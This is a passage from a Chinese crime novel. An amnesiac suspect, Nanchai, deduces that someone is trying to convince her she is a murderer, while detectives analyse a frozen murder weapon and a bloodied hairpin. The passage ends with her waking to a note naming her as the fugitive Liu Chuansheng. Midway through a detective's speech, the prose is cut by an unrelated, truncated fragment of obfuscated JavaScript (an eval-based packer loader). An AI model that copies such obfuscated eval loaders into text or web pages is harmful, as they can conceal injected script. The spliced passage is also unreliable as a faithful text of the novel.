人派出去了,只剩一个在附近巡查。虎山玉和大队通了话,一转身,余光却瞄到条影子,从附近一辆车底钻出来,向黑暗处跑去。 那道背影虎山玉这辈子都忘不掉。 她竟然躲布防的监控车下面了! 虎山玉怒气上涌,刚想喊,只见那影子钻入树丛消失得比流浪猫还快,一眨眼就不见了。 她发足追上去,却险些踩到一个东西,这一晃的工夫对方就没了踪影。虎山玉收回脚,弯腰捡起那东西。 是一枚发卡,尖端血迹还湿润,粘着疑似皮肤碎屑的小白片,以及两根短短的发茬,茬根有白点。 它被专门放在布控车旁边。 虎山玉皱着眉抬起头,月光惨森森地投下来,伴着黑树影子一同摇曳,寒夜无声叹息,只有风卷着枯叶婆娑不止。 她默然拿出一只证物袋。 13. 凶医 南钗回到安全屋时,髋侧的麻痛已经连成一片。 解开衣物,一大片淤青,所幸没有伤到筋骨,也不太影响活动。只是一动弹就感觉被看不见的狗咬住了似的。 她坐在沙发上,从兜里摸出一只打火机。一次性的塑料玩意,印着广告字和地址电话。应该是饭店前台免费送的那种。 喜上福海鲜烧烤。 打火机油是满的。刘川生刚拿到它,还没用几次。 他最近去过饭店? 能赠送打火机的不是小摊,照理会有监控。除非刘川生捡了别人的垃圾,否则他去一趟烧烤店不会只为了顺个打火机。 南钗又想起那个猜测。 刘川生是有人供养的,那个人不是刘蕊英。就像凌霄帮助她一样。在某些朋友的支持下,他隐秘享受了通缉犯生涯中的小确幸。 而且那些朋友不会像凌霄一样是被欺骗的。 因为南钗没看到自己的通缉令,她身上背的大概是内部协查通报,目前隐而不发。刘川生可是广而告之的A级通缉犯。 “老屋里到底有什么呢?”南钗想,今晚过后她再难接近老屋半步了,这条最紧要的丝被彻底掐断,“刘川生没带东西,他今晚冒这一险,是为了找东西而不是放东西。” 他要放什么,有什么是在一一零案的栽赃链条中被真凶和她都遗漏掉的? 南钗从他们的行为逻辑中寻找端倪,从陈扫天之死到青蛙垃圾桶,有什么隐含的目的是他们一以贯之的?他们究竟要对她做什么? 单纯恨她,坑害她吗?好像不是,他们神通广大到能趁她睡着进她的房间,把惹出一团糊涂的蓝塑料袋放进衣柜。 那为什么不直接用枕头捂死她? 那些人肯定图些别的什么。 他们在试图定义她。 南钗心中响起这个声音。她猛然抬起头。 而她大概是这世界上最容易被定义的人。 就连每天的身份,都是早上日记里“你是南钗,你患有失忆症”定义的。 开始到现在,那些人精巧地利用了她的失忆症,但着实没有下死手,至少在她决定和警方联手之前没有过。她像一只不断被逼进迷宫的老鼠,只能朝他们期待的方向逃窜。 他们希望她成为一个坏人。 他们希望她,确凿地相信自己就是一个坏人。 如果没了那部日记,明天的她又会是谁? 一种细密的颤抖从瘀伤处蔓延,扩散到南钗全身,连大脑都止不住战栗。 更令南钗战栗的是,这种反应不仅包含了恐惧和愤怒,还有一丝隐秘的棋逢对手的兴奋。 真是抱歉啊,这局游戏玩到现在,她都还好好活在这,呼吸着自由的空气。 那么接下来,该轮到她的回合了。 南钗长长舒了一口气,走到镜子前,与里面的人影对视。 她先是板脸冷厉扫视过去,眼睛探究得像一对刀子;然后换上柔而傲的神情,带着些烦人的说教感;接着是沉默回避,全然色厉内荏;最后命苦一笑,眉宇间抹不去机敏和疲惫。 洗脸池沿上的手机也跟着换了四幅速写画。情态与南钗的变脸颇为肖似。只是镜中南钗的违和感更强,倒像是原地犯了精神病。 岑逆,苏袖,刘蕊英,凌霄。 南钗切回原样,漠然看过去,镜中人横眉冷对,也变回她最不熟悉的模样。两道影子都有些尴尬,微微侧开目光。 她知道怎么揪出刘川生了。 南钗深呼一口气,拿起水池边沿的手机,点了下去。 西江市局刑侦支队刑事技术大队。 技术人员在做新一轮汇报,“现已确认江边蓝袋血迹的DNA检测结果与陈扫天相符,其内部的手术剪刀为致死凶器,血衣为陈扫天十一月九日离家时所穿的白衬衫。凶器、血衣和塑料袋内外皆没有发现指纹。” “这些都半旧不新。还有呢?”刑侦支队队长叶志明靠在椅背上,“袋里怎么有点连汤带水的?” 岑逆接过话来,“塑料袋内有非自然形成的冷凝水,经技术检验,陈扫天血迹的腐败程度不高,血细胞结构疑似被冰晶破坏,DNA保留程度很高。” 叶志明眉头一动,声色不变,“你的意思是,凶器的保存环境过于完美了。” “是的。”岑逆点头,“推测为冰箱或其他冷冻环境。” 叶志明抬眼看他,“继续,怎么停了?” “关于目前的嫌疑人南钗,她可考的出现在西江沿岸的时间点为十一月十日晚,以及十一日和十三日的晨间。其中有机会夹带凶器的只有十一日和十三日——十日她是被警方从家带走的。”岑逆咳了声,不得不端杯喝一口水,“吴贵春上一次清理垃圾是在十一月十日中午。” 小贾觑着叶志明的脸色,插了句话,“那后两天都有可能了。” “不可能是十一月十一日,塑料袋里的血迹的腐败程度对不上。”虎山玉直接说。 “那就剩十三日了。可能南钗早上去江边跑步,顺手就给扔了。桃源小区监控也证明了她穿的是一件宽松卫衣,完全有夹带容纳的空间。”小贾挠了挠头。 岑逆没等叶志明反应,语锋一反,“如果南钗在十一月十三日早上抛弃凶器,吴贵春中午发现凶器时前后不过四小时,塑料袋不可能沾那么多灰。”他敲敲台子,“根据蓝塑料袋的灰尘和树叶分布形态,可知沾灰时塑料袋表层湿润,与我们初步判断的塑料袋被抛时携带了低温环境的冷凝水吻合。且灰渍于顶部和侧部最为密集。换句话说,它刚被扔进去后即刻沾染大量尘土,而非在吴贵春开垃圾箱的过程中才与下层既有污物产生混合。” “在这个假设下,有人扔掉塑料袋后,立刻又往垃圾桶里装填大量枝叶泥沙。抛弃时间可能还在十一月十三日。” 小贾举起一只手,“会不会是南钗为了掩盖塑料袋的存在,故意的?” “虽然以南钗的脑子,做这种掩耳盗铃的事的可能性不大。但不排除这种可能。”岑逆又喝了口水,“可我们还是绕不开那个问题,她此前把塑料袋冷冻在哪?她家冰箱是空的,只有一只印着中药店商标的塑料袋,应该是拿走最后一包的时候,犯懒留下的。” 小贾说不上来了。 叶志明含笑睨了他一眼,小贾跟着呵呵直乐。叶志明笑意敛去,小贾咂着嘴坐老实了,“叶队,我多学习,多学习。” “你继续。”叶志明继续稳得像尊菩萨。 “还有另一种可能。”岑逆刚在仰头望天花板,头正回来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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虎山玉按动遥控器,幻灯片上出现一枚发卡,“经查明,出现在桃源小区的两人可能为刘川生和南钗。他们之间可能发生了打斗。南钗曾短暂藏匿于布控一号车底。最终我在一号车边发现了这枚发卡。” “有依据吗?”叶志明问。 虎山玉回答:“现场依然没有发现指纹,但发卡上的血迹毛囊与刘蕊英检验结果为亲权指数超过标准,支持存在全同胞关系。可以推断为来自于刘川生。” 叶志明微微一默,“使用发卡刮伤刘川生的在场另一人,能确定是南钗吗?” “桃源小区监控覆盖不全,目前没有实证,但她的背影我不可能不认识。”虎山玉思索道:“她和刘川生不像是一起的。” “我倒是认识个人。”岑逆说:“如果刘川生和南钗不是一起的,不管谁杀了陈扫天,他俩碰到一起都没好结果。” “会怎么样?”小贾迷茫地问。 岑逆捏了捏指节,说:“我总感觉他们其中一个会杀掉另一个。” 叶志明点点头,“推理要有实证支撑。最重要的,尽快找到南钗的踪迹。对刘川生的抓捕也不能放松。” 岑逆、虎山玉和小贾齐声:“是。” 火车站旁的安全屋。 手机闹钟响了,锁屏底色微微有异,从白底蓝字变成了白底红字。 南钗再次醒来时,陌生的窗外已透白光,她坐起来,头脑一片空荡,宛如新生。肌肉记忆下意识拿起手机,锁屏写了几行字。 随着读到这段字,南钗的眼瞳微微睁大。 你是刘川生,你患有失忆症。 你是杀过两家人的在逃A级通缉犯,请掩藏身份,躲避警察和监控。 你和你的伙伴失散了。请查看特别日志.刘川生,确认今日生存环境后,前往你曾去过的喜上福海鲜烧烤。 找到他们。